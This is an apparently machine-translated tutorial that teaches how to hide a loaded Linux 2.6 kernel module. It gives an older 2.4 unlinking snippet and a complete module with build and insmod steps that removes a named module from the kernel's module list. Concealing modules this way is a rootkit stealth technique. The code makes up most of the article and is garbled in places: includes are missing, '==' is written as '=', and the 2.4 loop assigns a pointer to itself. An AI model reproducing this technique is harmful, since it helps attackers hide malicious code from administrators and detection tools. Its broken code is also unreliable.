Article Title: teaches you how to hide the kernel module of Linux2.6. Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source.
Compared with the 2.6 kernel, the 2.4 kernel has a lot of changes. The implementation of the module is completely rewritten, and the structure has also changed. The module hiding method in the 2.4 kernel is as follows: (refer to madsys's phrack 61-03)
Struct module * p;
For (p = & __ this_module; p-> next; p = p-> next)
{
If (strcmp (p-> next-> name, str ))
Continue;
P-> next = p-> next; // <-- here it removes that module
Break;
}
The module of 2.4 is defined:
Struct module
{
Unsigned long size_of_struct;/* = sizeof (module )*/
Struct module * next;
Const char * name;
Unsigned long size;
...
}
2.6:
Struct module
{
Enum module_state state;
/* Member of list of modules */
Struct list_head list; <--- changed to a two-way linked list
/* Unique handle for this module */
Char name [MODULE_NAME_LEN];
...
}
Therefore, the standard kernel list series of processing functions (no need to close the door) are used. The process of version 2.6 is hidden and rewritten:
/*
* FileName: remove. c
* Author: CoolQ
* Date: 23:05 2004-9-2
* Makefile:
* ---------------- Cut here -----------------
* Obj-m + = remove. o
* KDIR: =/lib/modules/$ (shell uname-r)/build
* PWD: = $ (shell pwd)
* Default:
* $ (MAKE)-C $ (KDIR) SUBDIRS = $ (PWD) modules
* ----------------- Cut here -----------------
* Compile:
* [Root @ coolq tmp] make
* Usage:
* [Root @ coolq tmp] insmod remove. ko mod_name = module_name_to_hide
*/
# Include
# Include
# Include
# Include
# Include
# Include
Static char * mod_name = "module ";
Module_param (mod_name, charp, 0 );
Static int remove_init (void)
{
Struct module * mod_head, * mod_counter;
Struct list_head * p;
Mod_head = & __ this_module;
List_for_each (p, & mod_head-> list ){
Mod_counter = list_entry (p, struct module, list );
If (strcmp (mod_counter-> name, mod_name) = 0 ){
List_del (p );
Printk ("remove module % s successfully. \ n", mod_name );
Return 0;
}
}
Printk ("Can't find module % s. \ n", mod_name );
Return 0;
}
Static void remove_exit (void)
{
}
Module_init (remove_init );
Module_exit (remove_exit );
MODULE_LICENSE ("Dual BSD/GPL ");
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service